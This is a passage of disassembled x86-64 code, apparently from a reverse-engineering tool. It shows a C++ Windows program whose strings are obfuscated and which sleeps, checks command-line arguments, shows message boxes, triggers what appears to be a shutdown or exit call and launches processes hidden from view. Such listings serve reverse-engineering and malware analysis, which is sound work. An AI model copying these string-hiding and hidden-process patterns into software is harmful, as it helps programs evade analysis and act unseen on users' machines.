mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x2d2c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2d2d]
mov rcx, rax
call method.main.lambda__111::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__12970166402676648715ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2d2c]
lea rax, [rbp + 0x2d00]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d00]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2d00]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d2c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x46f0], 6
jle 0x231955de3
lea rax, [rbp + 0x2d2e]
mov rcx, rax
call method.main.lambda__112::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__3291376958303312885ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x30
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231955de3
mov eax, 1
jmp 0x231955de8
mov eax, 0
test al, al
je 0x231955e29
lea rax, [rbp + 0x2d2f]
mov rcx, rax
call method.main.lambda__113::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__9769859927462733177ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231955e44
mov r9d, 1
mov r8d, 0
mov edx, 0
mov ecx, 0
call sym.f_exsh_int__int__int__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x2d6e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2d6f]
mov rcx, rax
call method.main.lambda__114::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11459298381307129337ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2d6e]
lea rax, [rbp + 0x2d40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2d30]
lea rdx, [rbp + 0x2d40]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2d40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d6e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2d9c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2d9d]
mov rcx, rax
call method.main.lambda__115::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__6868549596097113957ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2d9c]
lea rax, [rbp + 0x2d70]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x2d70]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
mov rax, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x28]
mov qword [rbp + 0x790], rax
mov qword [rbp + 0x798], rdx
lea rax, [rbp + 0x2d70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2d9c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2d9e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2d9f]
mov rcx, rax
call method.main.lambda__116::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__3693331477060454351ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2d9e]
lea rax, [rbp + 0x120]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2d9e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.231a217b0
movzx eax, word [rbp + 0x798]
cmp ax, 0xc
jbe 0x23195604a
movzx eax, word [rbp + 0x798]
sub eax, 0xc
mov word [rbp + 0x798], ax
lea rax, [rbp + 0x2dce]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2dcf]
mov rcx, rax
call method.main.lambda__117::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__3165814943869157883ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2dce]
lea rax, [rbp + 0x2da0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x2da0]
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x2da0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2dce]
mov rcx, rax
call sym.std::allocator_char_::allocator__
movzx eax, word [rbp + 0x798]
movzx edx, ax
lea rax, [rbp + 0x490]
mov rcx, rax
call method.std::ostream.operator___unsigned_short_
lea rax, [rbp + 0x610]
mov rcx, rax
call fcn.231a217b0
movzx eax, word [rbp + 0x79a]
cmp ax, 9
ja 0x2319560c7
mov ecx, 0x30
call method.std::_Setfill_char__std.setfill_char__char_
mov edx, eax
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setfill_char__
mov rbx, rax
mov ecx, 2
call method.std.setw_int_
mov edx, eax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____std::_Setw_
mov rcx, rax
movzx eax, word [rbp + 0x79a]
movzx eax, ax
mov edx, eax
call method.std::ostream.operator___unsigned_short_
jmp 0x2319560e0
movzx eax, word [rbp + 0x79a]
movzx edx, ax
lea rax, [rbp + 0x610]
mov rcx, rax
call method.std::ostream.operator___unsigned_short_
lea rdx, [rbp + 0x120]
lea rax, [rbp + 0x2df0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x2e5e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2e5f]
mov rcx, rax
call method.main.lambda__125::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2e5e]
lea rax, [rbp + 0x2e30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x610]
mov rcx, rax
call method.std::__cxx11::basic_ostringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2eee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2eef]
mov rcx, rax
call method.main.lambda__124::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2eee]
lea rax, [rbp + 0x2ec0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x2f10]
lea rdx, [rbp + 0x490]
mov rcx, rax
call method.std::__cxx11::basic_ostringstream_char__std::char_traits_char___std::allocator_char___.str___const
lea rax, [rbp + 0x2f7e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x2f7f]
mov rcx, rax
call method.main.lambda__123::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x2f7e]
lea rax, [rbp + 0x2f50]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
movzx eax, word [rbp + 0x790]
movzx edx, ax
lea rax, [rbp + 0x2fa0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x300e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x300f]
mov rcx, rax
call method.main.lambda__122::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x300e]
lea rax, [rbp + 0x2fe0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
movzx eax, word [rbp + 0x796]
movzx edx, ax
lea rax, [rbp + 0x3030]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x309e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x309f]
mov rcx, rax
call method.main.lambda__121::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x309e]
lea rax, [rbp + 0x3070]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
movzx eax, word [rbp + 0x792]
movzx edx, ax
lea rax, [rbp + 0x30c0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x312e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x312f]
mov rcx, rax
call method.main.lambda__120::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x312e]
lea rax, [rbp + 0x3100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x317f]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp + 0x317f]
lea rdx, [rbp + 0x1140]
lea rax, [rbp + 0x3150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x31ad]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x31ae]
mov rcx, rax
call method.main.lambda__119::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_14ull__8024664074358213941ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x31ad]
lea rax, [rbp + 0x3180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3130]
lea rcx, [rbp + 0x3150]
lea rdx, [rbp + 0x3180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x30e0]
lea rcx, [rbp + 0x3100]
lea rdx, [rbp + 0x3130]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x30a0]
lea rcx, [rbp + 0x30c0]
lea rdx, [rbp + 0x30e0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3050]
lea rcx, [rbp + 0x3070]
lea rdx, [rbp + 0x30a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x3010]
lea rcx, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2fc0]
lea rcx, [rbp + 0x2fe0]
lea rdx, [rbp + 0x3010]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2f80]
lea rcx, [rbp + 0x2fa0]
lea rdx, [rbp + 0x2fc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2f30]
lea rcx, [rbp + 0x2f50]
lea rdx, [rbp + 0x2f80]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2ef0]
lea rcx, [rbp + 0x2f10]
lea rdx, [rbp + 0x2f30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2ea0]
lea rcx, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ef0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e60]
lea rcx, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2e10]
lea rcx, [rbp + 0x2e30]
lea rdx, [rbp + 0x2e60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2dd0]
lea rcx, [rbp + 0x2df0]
lea rdx, [rbp + 0x2e10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x2dd0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rbx, rax
lea rax, [rbp + 0x31af]
mov rcx, rax
call method.main.lambda__118::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_15ull__8024664074358213941ull__char_.operator_char__
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
lea rax, [rbp + 0x2dd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ef0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2fc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3010]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3050]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3130]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x31ad]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x317f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x312e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x30c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x3070]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x309e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x3030]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2fe0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x300e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2fa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2f7e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2f10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2eee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2e80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x2e5e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x2df0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x31ee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x31ef]
mov rcx, rax
call method.main.lambda__126::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16798811316612840369ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x31ee]
lea rax, [rbp + 0x31c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x31b0]
lea rdx, [rbp + 0x31c0]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x31c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x31ee]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x321e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x321f]
mov rcx, rax
call method.main.lambda__127::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_57ull__825191848900378469ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x321e]
lea rax, [rbp + 0x31f0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x31f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x31f0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x321e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov edx, 1
mov ecx, 0x2710
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x324e]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x324f]
mov rcx, rax
call method.main.lambda__128::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__2394786308975051543ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x324e]
lea rax, [rbp + 0x3220]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3220]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3220]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x324e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x327c]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x327d]
mov rcx, rax
call method.main.lambda__129::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__16543697998632831995ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x327c]
lea rax, [rbp + 0x3250]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3250]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 1
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0x3250]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x327c]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x327e]
mov rcx, rax
call method.main.lambda__131::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_1ull__14070174845131770827ull__char_.operator_char__
mov rbx, rax
lea rax, [rbp + 0x327f]
mov rcx, rax
call method.main.lambda__130::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_15ull__14070174845131770827ull__char_.operator_char__
mov r9d, 0
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.f_mbxs_char__char__unsigned_int__int_
mov edx, 1
mov ecx, 0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0x32ba]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x32bb]
mov rcx, rax
call method.main.lambda__132::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__18250672491631450511ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x32ba]
lea rax, [rbp + 0x3290]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x3290]
mov rcx, rax
call sym.f_rpt_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x3290]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x32ba]
mov rcx, rax
call sym.std::allocator_char_::allocator__
cmp dword [rbp + 0x45f4], 1
je 0x231956a59
cmp dword [rbp + 0x45f4], 2
je 0x231956b03
jmp 0x231956b40
cmp dword [rbp + 0x46f0], 6
jle 0x231956a9d
lea rax, [rbp + 0x32bc]
mov rcx, rax
call method.main.lambda__133::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11206424576754694615ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x46f8]
add rax, 0x30
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231956a9d
mov eax, 1
jmp 0x231956aa2
mov eax, 0
test al, al
je 0x231956ae6
lea rax, [rbp + 0x32bd]
mov rcx, rax
call method.main.lambda__134::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__9028534080175434539ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231956b7c
mov r9d, 0
mov r8d, 0
mov edx, 0
mov ecx, 1
call sym.f_exsh_int__int__int__int_
jmp 0x231956b7c
lea rax, [rbp + 0x32be]
mov rcx, rax
call method.main.lambda__135::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_10ull__4706688073094343435ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
jmp 0x231956b7c
lea rax, [rbp + 0x32bf]
mov rcx, rax
call method.main.lambda__136::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_8ull__6443412919284096919ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231ecce50]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
nop
lea rax, [rbp + 0x32ee]
mov rcx, rax
call fcn.2319dc540
lea rax, [rbp + 0x32ef]
mov rcx, rax
call method.main.lambda__137::operator_____const
mov rcx, rax
